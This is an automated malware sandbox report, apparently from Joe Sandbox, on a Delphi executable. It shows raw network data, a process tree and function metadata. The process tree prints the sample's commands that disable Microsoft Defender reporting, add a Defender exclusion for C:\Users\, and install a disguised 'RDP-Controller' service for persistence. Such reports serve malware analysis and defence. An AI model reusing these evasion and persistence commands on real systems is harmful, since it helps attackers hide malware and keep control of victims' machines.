2025-01-05 16:49:44 UTC	4096	IN	Data Raw: d3 9b 2f 3a bc 3a f6 4f 66 0b d7 7e 53 7b d4 ca 23 56 72 62 43 f4 6c 71 8e a0 c8 8f 4a ba 3f ae 9e 9a f2 50 5d 9c 2f da e0 41 e6 cb 99 0c 81 45 62 eb 4f 2c ed 67 65 60 61 60 67 60 61 60 60 9c 62 36 b7 4f 8e 89 99 01 0a 58 fd 42 9c 03 8c 18 ca 58 32 f2 8b 4b 6c 79 0d cd 2d f4 0c cd 4d f5 0c 8d 4d f4 8c ad 19 33 6d 25 b2 0b 8c 7c 4c 22 0b c2 8d cb 8c 74 2b 2a 9d d3 d2 9c b2 0a 2d d3 6d 6d ad 59 0a f2 8b 4a 6c 59 8d 2c 2d 4d 8c ad 19 8b 6d 75 d2 4b bc 72 9c 2b b2 cd 43 1c 2d 32 3d dd 82 7c 4d ea bc 92 f3 8d 2a 8a aa 72 cb 82 fd fd 0a 02 f2 fd 1c 4b fc 82 9c 8a 8b 42 4c 6c ad 19 cb 6c 19 8d ac 39 60 ce 60 09 0e 0e 35 62 98 c2 92 9c 58 50 6c cb e4 e4 6c 8d cb 3d 3a 69 89 55 69 55 25 16 9e 7e a1 f9 c9 fe 26 91 c9 a5 59 5e 81 26 01 25 e6 91 fe a1 ce f9 6e 66 c1 Data Ascii: /::Of~S{#VrbClqJ?P]/AEbO,ge`a`g`a``b6OXBX2Kly-MM3m%\|L"t+-mmYJlY,-MmuKr+C-2=\|MrKBLll9``5bXPll=:iUiU%~&Y^&%nf
2025-01-05 16:49:44 UTC	4096	IN	Data Raw: af b2 06 99 1c d6 66 11 99 a9 f9 fc b2 74 98 8c 9e 59 cf 04 95 5f 31 9c 2c 2b c2 58 19 58 18 d8 19 58 18 18 18 a7 98 2d 73 ac 63 62 65 80 02 96 e0 e0 50 23 86 79 2c c9 89 05 c5 b6 8c 4e d6 2c 19 f9 c5 25 b6 bc 16 a6 7a a6 16 7a 86 a6 86 7a 46 46 86 d6 8c 99 b6 3a 91 ee a9 ce 3e 16 49 46 19 ce 51 89 5e ee ba f9 59 21 be a9 a9 61 16 f9 9e 1e 46 05 85 a1 86 66 96 81 65 85 25 65 a5 6e 96 06 26 b6 d6 cc b9 25 a5 b6 2c 86 46 16 06 d6 2c 05 f9 45 25 b6 ac 46 e6 06 96 a6 d6 8c c5 b6 3a 89 51 ee 55 26 16 a9 e1 06 21 66 7e 2e be 89 89 ce 69 06 e5 c9 be e9 6e 25 95 c6 fe e1 c5 39 39 2e e1 ee be 7e 49 16 e6 d9 06 f9 b6 d6 8c 65 b6 8c 46 d6 dc 30 d7 b2 fa 85 38 07 18 31 94 e1 72 a5 44 a9 b9 ae 7b 76 a8 67 91 77 be 85 a5 a9 63 59 b1 61 94 4f 6e 79 ba ad 2d a6 33 22 33 Data Ascii: ftY_1,+XXX-scbeP#y,N,%zzzFF:>IFQ^Y!aFfe%en&%,F,E%F:QU&!f~.in%99.~IeF081rD{vgwcYaOny-3"3
2025-01-05 16:49:44 UTC	4096	IN	Data Raw: 00 ff ff 50 4b 07 08 a1 8a 22 b4 dd 01 00 00 25 03 00 00 50 4b 03 04 14 00 08 08 08 00 a5 66 25 5a 00 00 00 00 00 00 00 00 00 00 00 00 3b 00 09 00 72 6f 75 74 65 72 49 6e 66 6f 2d 6d 6a 75 61 41 4b 7e 47 67 71 31 35 32 50 63 4d 4d 59 59 45 64 69 4a 37 4b 35 47 72 38 36 58 68 48 6a 4c 4a 73 36 45 36 72 6d 41 3d 2e 64 61 74 55 54 05 00 01 b7 80 7a 67 4a cd 7d f0 70 c5 9c 00 ff 62 3f ef 23 2d ab 78 de ef 54 95 93 7e aa 21 cd 62 3a 73 c2 b1 e3 67 f6 d4 17 39 57 e5 a6 d7 47 2f 92 53 d9 97 cf 5a ea aa b7 63 56 82 42 7c bc f7 12 25 93 df d6 93 97 31 6d 1d 95 c7 2f 6f 31 3b d9 75 99 21 4b 7d 2b fb d9 bf ea a1 d2 52 93 65 3d 9c 2b 57 37 7f 8c 89 78 aa 3d ff af 6a 12 2b 03 0b 03 3b 03 0b 03 03 e3 14 b3 b6 33 ec 4c cc 0c 50 c0 ea 17 e2 1c 60 c4 50 ce 92 91 5f 5c 62 Data Ascii: PK"%PKf%Z;routerInfo-mjuaAK~Ggq152PcMMYYEdiJ7K5Gr86XhHjLJs6E6rmA=.datUTzgJ}pb?#-xT~!b:sg9WG/SZcVB\|%1m/o1;u!K}+Re=+W7x=j+;3LP`P_\b
2025-01-05 16:49:44 UTC	4096	IN	Data Raw: ff ff 50 4b 07 08 86 7c 3e f7 25 02 00 00 90 04 00 00 50 4b 03 04 14 00 08 08 08 00 14 57 25 5a 00 00 00 00 00 00 00 00 00 00 00 00 3b 00 09 00 72 6f 75 74 65 72 49 6e 66 6f 2d 32 61 6d 54 77 51 66 4f 4e 70 62 75 42 51 76 54 34 31 66 39 5a 6a 70 73 35 4e 7e 59 6d 4f 64 69 41 31 70 34 64 6d 31 76 6c 46 63 3d 2e 64 61 74 55 54 05 00 01 68 65 7a 67 f2 68 97 fa fe 27 f3 4c 25 63 cf 3a 46 f3 03 33 de a7 1e 8a 9b 3f 7b df c6 90 ff be cf 19 a7 69 66 57 f2 5a 47 dc ae 51 ce f4 bf 2b 72 74 9a eb a5 a8 0c 89 d8 ed 6b 0d 6a 03 6e 1a 9c fb 2a b3 63 de c9 1d a3 f2 f8 e5 2f 2c 3a 67 b8 73 ea 83 29 b6 ee 0f 6f df 6d bf 9a 7c a5 c1 fa 96 cb ce cc 0c 35 96 a5 53 16 5c 77 53 66 65 60 61 60 67 60 61 60 60 9c 62 26 23 7f 9f 89 9b 01 0a 58 fd 42 9c 03 8c 18 4a 59 32 f2 8b 4b Data Ascii: PK\|>%PKW%Z;routerInfo-2amTwQfONpbuBQvT41f9Zjps5N~YmOdiA1p4dm1vlFc=.datUThezgh'L%c:F3?{ifWZGQ+rtkjn*c/,:gs)om\|5S\wSfe`a`g`a``b&#XBJY2K
2025-01-05 16:49:44 UTC	4096	IN	Data Raw: c0 12 1c 1c 6a c4 30 99 25 39 b1 a0 d8 96 d1 c9 9a 25 23 bf b8 c4 96 d7 c2 5c cf c8 c0 52 cf c2 5c cf d0 dc c2 9a 31 d3 56 c7 3b df c8 a8 ac a2 b0 d2 c0 d1 b1 a4 c4 b4 3c 33 23 d9 c9 cc c9 d8 db b8 c0 23 33 df 20 ad ca 25 20 d1 db 30 b5 20 22 c2 dc 3c d9 d6 9a a5 20 bf a8 c4 96 d5 c8 d8 d0 d4 c4 9a b1 d8 56 27 cd 2b 52 d7 35 b3 2c 2a a9 20 bd c4 38 22 d3 a9 cc d5 2b cd af 30 cd a8 2c 34 3f d9 c0 dc dd a7 c8 af d8 cb c4 34 b8 a2 d4 b1 d8 d6 9a b1 cc 96 d1 c8 9a 1b e6 44 56 bf 10 e7 00 23 86 32 5c 4e 93 c8 73 31 76 b1 cc 2a 35 f7 37 ac 70 f1 f2 4a 74 4b 29 37 74 4b 2e b7 c5 e2 8c f2 70 73 e7 8a e0 b2 00 c7 b0 22 8f 5c c7 1c ef b2 a0 ec e0 e2 dc a0 c2 64 17 1f 4b 33 17 23 b7 dc dc b2 54 d7 62 93 cc 74 a3 74 98 33 18 18 74 20 81 c3 e4 17 64 cd 9a 97 5a e2 99 Data Ascii: j0%9%#\R\1V;<3##3 % 0 "< V'+R5,* 8"+0,4?4DV#2\Ns1v*57pJtK)7tK.ps"\dK3#Tbtt3t dZ
2025-01-05 16:49:44 UTC	4096	IN	Data Raw: d4 44 cf d0 d4 4c cf d0 dc c4 9a 31 d3 56 c2 39 22 3b 24 a4 20 d3 20 cc bb 34 cc 38 24 3f 2d b7 aa c4 b8 28 d0 d6 d6 9a a5 20 bf a8 c4 96 c5 d0 d2 c4 d0 9a b1 d8 56 c7 dc 3c 28 37 33 df c2 38 d1 b0 38 d4 cf 28 38 bf 2a d0 c9 2f b9 ce a4 c8 dd 3b aa c4 a4 28 ac 28 5d 37 31 23 b1 d2 bc d4 d3 a3 dc d6 9a b1 cc 96 d1 c8 9a 03 e6 0c 96 e0 e0 50 23 86 29 2c c9 89 05 c5 b6 4c 4e ce d6 38 dd a3 53 1c 1e 59 e2 95 66 91 55 92 ed a6 6b 98 e8 93 e3 93 a6 eb e9 e9 e2 5e 1a 52 e2 e3 67 91 55 ec 92 9b ea e6 e8 1a 10 6a e6 e7 55 8c e9 46 33 67 cf a2 ac c8 52 73 0b 27 d7 0c 8f 30 e3 c0 f0 2c 8b 08 ff 12 a3 94 a0 d4 b4 3a 13 33 f3 3a e3 44 df 24 53 bf 32 8f aa 72 03 98 1b 19 18 52 20 ce 62 89 48 0b 72 b1 66 cd 4b 2d f1 4c 01 49 88 e4 a5 96 a4 24 e9 65 e7 e5 97 e7 f9 a4 26 Data Ascii: DL1V9";$ 48$?-( V<(7388(8*/;((]71#P#),LN8SYfUk^RgUjUF3gRs'0,:3:D$S2rR bHrfK-LI$e&
2025-01-05 16:49:44 UTC	4096	IN	Data Raw: cc b4 95 a8 74 49 2c cb 2c 2d f4 71 4d f7 4d 0a 36 4e af 0c 0a 4c 8e aa 4a b7 b5 b5 66 29 c8 2f 2a b1 65 35 32 b2 b0 30 b3 66 2c b6 d5 71 f1 cc 4b ad 48 09 f7 4f 0d cd a9 f0 4f 4c 36 29 f4 f3 32 8d 2c f0 72 f2 f4 70 aa 30 f7 75 2d cd 35 8c d2 cd 36 c8 a9 cb 0b f2 b5 b5 66 2c b3 65 34 b2 66 85 b9 83 25 38 38 d4 88 61 0a 4b 72 62 41 b1 2d a3 93 35 4e f7 e8 78 7a e6 15 1a 87 b8 47 a4 7a 25 06 7a 14 14 57 e4 9a a5 79 45 fa b9 a5 5a 84 97 a6 39 59 f8 d6 25 06 9a bb a4 65 85 ba 65 98 97 63 71 a3 41 91 63 9d ab 6e 78 84 63 6a 50 89 73 5a 79 94 99 53 b0 57 78 4a 70 78 66 7e 68 55 a2 ab 7b 90 b7 73 7e 70 7a 6a 5e 51 b1 7b 3a cc 8d 0c 0c 3a 10 67 31 05 04 59 b3 e6 a5 96 78 a6 80 84 f9 8a f2 4b 4b 52 8b f4 ca 52 8b 8a 33 f3 f3 6c d9 0c f4 2c f5 cc 4c ac 3f 55 ab 4c Data Ascii: tI,,-qMM6NLJf)/*e520f,qKHOOL6)2,rp0u-56f,e4f%88aKrbA-5NxzGz%zWyEZ9Y%eecqAcnxcjPsZySWxJpxf~hU{s~pzj^Q{::g1YxKKRR3l,L?UL
2025-01-05 16:49:44 UTC	4096	IN	Data Raw: 00 72 6f 75 74 65 72 49 6e 66 6f 2d 4d 77 77 39 77 47 35 67 61 79 6e 6c 31 71 50 67 34 45 61 79 39 55 4d 31 45 77 33 75 46 68 66 45 4e 31 48 39 6f 67 71 49 5a 33 45 3d 2e 64 61 74 55 54 05 00 01 d3 6a 7a 67 9a 28 aa be 7d cd 82 b0 c3 16 fe 6e 49 ca a1 27 1f bb 38 05 1d 9c b7 71 ba 43 4e 8c c4 05 86 2d 79 3c 22 fc 57 4a ca 73 66 ed 7a 5a c2 d2 fa b6 6d 0f 97 e1 ca 8a e6 39 b1 c6 65 bb ee 9c b1 d6 d7 9b b3 7d 54 1e bf fc 5e fd c3 13 e6 97 36 b9 1f f4 3a 98 bd 63 66 a4 f1 33 d1 1b 6a a1 bc 2b df be bc e2 3e 3b 52 b9 33 9c 95 81 85 81 9d 81 85 81 81 71 8a 99 a1 8f 1c 13 33 03 14 b0 fa 85 38 07 18 31 94 b1 64 e4 17 97 d8 f2 19 1a 19 e8 19 99 e8 19 99 1a eb 19 9a 18 58 33 66 da 4a a4 59 86 96 99 a7 a7 17 7b 17 f8 24 25 67 fb a6 5a 54 a4 15 bb 06 da da 5a b3 14 Data Ascii: routerInfo-Mww9wG5gaynl1qPg4Eay9UM1Ew3uFhfEN1H9ogqIZ3E=.datUTjzg(}nI'8qCN-y<"WJsfzZm9e}T^6:cf3j+>;R3q381dX3fJY{$%gZTZ
2025-01-05 16:49:44 UTC	4096	IN	Data Raw: 45 68 50 5a a5 b1 5b b0 a1 51 62 59 ae 01 0e d7 6e 43 77 2d d1 81 3a a0 be 60 60 48 86 38 9c 39 22 2d c8 9a 35 2f b5 c4 33 05 24 2e 92 97 5a 92 92 a4 97 9d 97 5f 9e e7 93 9a 58 9c 1a 9c 5a 52 6c cb 6c 6a 6a 6c 2d 84 24 15 94 5f 5a 92 5a 54 6c cb 6a 68 66 6a 68 6a cd 57 04 e6 eb 95 a5 16 15 67 e6 e7 d9 b2 19 e8 59 ea 99 19 5b 8b 18 1d de 73 3d 2f 6d 77 bc c9 87 d4 b7 2f 66 cf 5b e1 22 b3 d0 72 e9 9c 1c fe f3 ea 85 07 cb 4b 9e 9d 95 74 3d cb 16 b4 7d e6 69 f1 07 21 3b 14 77 ef be f4 46 2b 73 c7 e4 0e 66 d3 8c e8 be bb 3c 5f 19 00 01 00 00 ff ff 50 4b 07 08 2d 2c 23 27 51 02 00 00 ce 04 00 00 50 4b 03 04 14 00 08 00 08 00 76 64 25 5a 00 00 00 00 00 00 00 00 00 00 00 00 3b 00 09 00 72 6f 75 74 65 72 49 6e 66 6f 2d 44 58 67 63 4d 2d 4c 36 52 59 70 51 36 71 32 Data Ascii: EhPZ[QbYnCw-:``H89"-5/3$.Z_XZRlljjl-$_ZZTljhfjhjWgY[s=/mw/f["rKt=}i!;wF+sf<_PK-,#'QPKvd%Z;routerInfo-DXgcM-L6RYpQ6q2

Target ID:	0
Start time:	11:48:53
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\cZO.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\cZO.exe"
Imagebase:	0x400000
File size:	4'528'128 bytes
MD5 hash:	BE6E88537235FF3B6B61DE70DFEECB3B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:48:54
Start date:	05/01/2025
Path:	C:\Users\user\Desktop\cZO.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\cZO.exe
Imagebase:	0x400000
File size:	4'528'128 bytes
MD5 hash:	BE6E88537235FF3B6B61DE70DFEECB3B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	11:48:57
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\cmd.exe" /k "C:\Users\user\AppData\Local\Temp\7h14dhb9g32w177ypoi9wje.bat"
Imagebase:	0x7ff7e6bf0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:48:57
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:48:58
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoLogo -Command "Set-MpPreference -SubmitSamplesConsent NeverSend"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:48:59
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\vc71izwl68ub3txurufnpr09g6ni3.exe"
Imagebase:	0x7ff775720000
File size:	98'304 bytes
MD5 hash:	319865D78CC8DF6270E27521B8182BFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:49:01
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoLogo -Command "Set-MpPreference -MAPSReporting 0"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:49:03
Start date:	05/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoLogo -Command "Add-MpPreference -ExclusionPath 'C:\Users\'"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:49:34
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\shdpeqdz2a54sj46ur0.exe"
Imagebase:	0x7ff76a370000
File size:	10'669'056 bytes
MD5 hash:	2F829F1CB631D234C54F2E6C6F72EB57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 70%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\taskkill.exe
Wow64 process (32bit):	false
Commandline:	taskkill.exe /F /FI "SERVICES eq RDP-Controller"
Imagebase:	0x7ff6dddf0000
File size:	101'376 bytes
MD5 hash:	A599D3B2FAFBDE4C1A6D7D0F839451C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe stop RDP-Controller
Imagebase:	0x7ff7a6850000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe create RDP-Controller binpath= C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe type= own start= auto error= ignore
Imagebase:	0x7ff7a6850000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe failure RDP-Controller reset= 1 actions= restart/10000
Imagebase:	0x7ff7a6850000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe start RDP-Controller
Imagebase:	0x7ff7a6850000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	11:49:37
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:49:38
Start date:	05/01/2025
Path:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Imagebase:	0x7ff6be030000
File size:	89'088 bytes
MD5 hash:	BB070CFBD23A7BC6F2A0F8F6D167D207
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 70%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	11:49:38
Start date:	05/01/2025
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls.exe C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\ /setowner *S-1-5-18
Imagebase:	0x7ff7e8710000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	11:49:38
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	11:49:38
Start date:	05/01/2025
Path:	C:\Windows\System32\icacls.exe
Wow64 process (32bit):	false
Commandline:	icacls.exe C:\Users\Public /restore C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\npX5adYEH7eu.acl
Imagebase:	0x7ff7e8710000
File size:	39'424 bytes
MD5 hash:	48C87E3B3003A2413D6399EA77707F5D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	11:49:38
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	11:50:34
Start date:	05/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	29
Start time:	11:50:34
Start date:	05/01/2025
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -pss -s 432 -p 6524 -ip 6524
Imagebase:	0x7ff6f3c80000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	11:50:34
Start date:	05/01/2025
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 6524 -s 1236
Imagebase:	0x7ff6f3c80000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	11:50:35
Start date:	05/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	11:50:59
Start date:	05/01/2025
Path:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
Imagebase:	0x7ff6be030000
File size:	89'088 bytes
MD5 hash:	BB070CFBD23A7BC6F2A0F8F6D167D207
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 024D9CF6 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 024DA053
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 024DA059
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 024DA05F

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: d4e8e88555f2eb12c545b98b90c24c3d39095b307ae36abf8871b6113ed62f51
Instruction ID: 4ee74b5b43023d096468648be90f754803d073c7b2debd6c1b66af0119169aed
Opcode Fuzzy Hash: d4e8e88555f2eb12c545b98b90c24c3d39095b307ae36abf8871b6113ed62f51
Instruction Fuzzy Hash: 7FB17D31918A4C8FDB54EF29C894AAEB7E1FFA8314F50571EE88AD3255DB709481CB81

Function 024DCDA6 Relevance: 3.3, APIs: 2, Instructions: 338COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 024DD0EB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 024DD0F1

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: c13881684555dfa4367d4d73b1e4ee07c41d0d00dee4c5945f428639c018f28f
Instruction ID: 4f9e23efbfe377bcb116552b0931d129612a226f6bc1b2dd24a3477e0d1a83be
Opcode Fuzzy Hash: c13881684555dfa4367d4d73b1e4ee07c41d0d00dee4c5945f428639c018f28f
Instruction Fuzzy Hash: C2A18E31928B4C8BDB55EF2DC894AEAB7E2FB99314F50571FE48AC3254DB309581CB81

Function 024D4B4A Relevance: 1.8, APIs: 1, Instructions: 343COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007395488.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_24d0000_cZO.jbxd

Similarity

API ID:
